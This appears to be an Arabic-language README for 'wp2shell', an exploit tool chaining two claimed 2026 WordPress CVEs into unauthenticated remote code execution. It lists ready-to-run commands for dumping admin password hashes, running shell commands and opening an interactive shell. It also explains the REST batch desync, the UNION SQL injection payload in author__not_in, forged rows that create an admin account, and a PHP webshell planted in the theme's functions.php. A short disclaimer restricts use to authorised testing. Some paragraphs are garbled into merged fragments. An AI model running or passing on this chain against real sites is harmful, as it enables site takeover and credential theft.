
CVE-2026-63030 / wp2shell
سلسلة استغلال WordPress من نوع RCE ليوم واحد. بدون مصادقة. التقييم: CVSS 9.8.
صفر تبعيات — Python 3.8+ والمكتبة القياسية فقط.
| الفرع | الإصدارات الضعيفة | الإصدار المصحح |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
يتم ربط ثغرتي CVE معًا لتحقيق تنفيذ تعليمات برمجية عن بُعد دون مصادقة:
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check
# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users
# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell
# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL Target WordPress base URL (required)
--check Probe only — do not exploit
--dump-users Extract all user credentials via UNION SQLi
--read SQL Read a scalar SQL expression from the database
--cmd CMD Run a shell command on the target
--shell Open an interactive shell
--user USER Admin username (skip pre-auth admin creation)
--password PASS Admin password (use with --user)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC Request timeout (default: 30)
--no-cleanup Leave webshell and admin user on target
نقطة النهاية الدفعية (batch) في WordPress على المسار /?rest_route=/batch/v1 تقبل مصفوفة من الطلبات الفرعية. عندما يحتوي طلب فرعي على مسار غير قابل للتحليل (///)، تتم إضافة WP_Error إلى $validation ولكن ليس إلى $matches. عندها تقوم حلقة التوجيه بإقران الطلب N بالمعالج N+1 — أي أن طلبًا تم التحقق منه وفق مخطط معين يتم توجيهه إلى معالج مختلف.
يرسل الاستغلال دفعة متداخلة من 3 طبقات، حيث تستخدم كل طبقة مُهيئ عدم تطابق (desync primer) في الموضع 0 لتحويل الفهارس. الطلب الأعمق — الذي يُتحقق منه كعنصر منشور واحد (GET /wp/v2/posts/999999) — يقع على معالج المجموعة (posts->get_items()). وبما أن مخطط العنصر لا يعرّف author_exclude، فإن المعامل يمر دون تحقق.
يقوم get_items() بتعيين author_exclude → author__not_in وتمريره إلى WP_Query. عندما يكون author__not_in سلسلة نصية (وليست مصفوفة)، يتم تخطي كتلة array_map('absint', …). السلسلة الخام تصل مباشرة إلى:
WHERE post_author NOT IN (<payload>)
الحمولة 0) UNION ALL SELECT …-- - تُغلق قائمة NOT IN وتضيف استعلام SQL عشوائيًا.
جدول wp_posts في WordPress 7.0.x يحتوي على 23 عمودًا بالضبط. بحقن صف مزيف عبر UNION ALL SELECT مع orderby=none (الذي يثبط ORDER BY اللاحق) و per_page=500 (مما يبقي WP_Query في وضع الصف الكامل)، ينعكس عنوان المنشور المزيف — الحامل لعلامة ||HEX|| — في استجابة REST. جميع قيم السلاسل تستخدم المحارف السداسية العشرية في MySQL (0x…) لتجنب مشاكل تهريب علامات الاقتباس عبر ترميز URL.
[embed] → يقوم WordPress بإنشاء 3 صفوف من oembed_cachewp_posts عبر UNION لتشكيل سلسلة تغييرات customizer[embed]، مما يؤدي إلى تشغيل WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()wp2_<random>) وكلمة مرور (Wp2!<random>)تسجيل الدخول كمسؤول جديد → استخراج nonce محرر القالب → حقن ويب شيل PHP محمي برمز مميز في أعلى ملف functions.php للقالب النشط → الوصول عبر ?t=<token>&c=<command>.
urllib, json, re, hashlib, secrets, html)wp_remote_post() قبل الحفظ. إذا لم تتمكن الحاوية من الوصول إلى نفسها عبر اسم المضيف، فسيتم حظر تعديل القالب. استخدم --dump-users + تسجيل الدخول اليدوي في هذه الحالات.--check أولاً.$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
هذه الأداة مخصصة لأغراض البحث الأمني المصرح به والتعليم فقط. استخدمها فقط ضد الأنظمة التي تمتلكها أو لديك إذن صريح لاختبارها. لا يتحمل المؤلفون أي مسؤولية عن إساءة الاستخدام.
| الخطوة | CVE | متجه الهجوم |
|---|
| 1 | CVE-2026-63030 | اختلال محاذاة الفهرس في REST /batch/v1 يسبب فقدان التزامن بين التحقق والتوجيه |
| 2 | CVE-2026-60137 | معامل author__not_in في WP_Query يتجاوز absint() عند تمريره كسلسلة نصية |
| 3 | — | يعمل UNION SELECT على تزوير صفوف wp_posts؛ ثم oEmbed → customizer → wp_insert_user |
| 4 | — | المصادقة كمسؤول تم إنشاؤه حديثًا |
| 5 | — | محرر القالب يحقن ويب شيل محميًا برمز مميز في القالب النشط |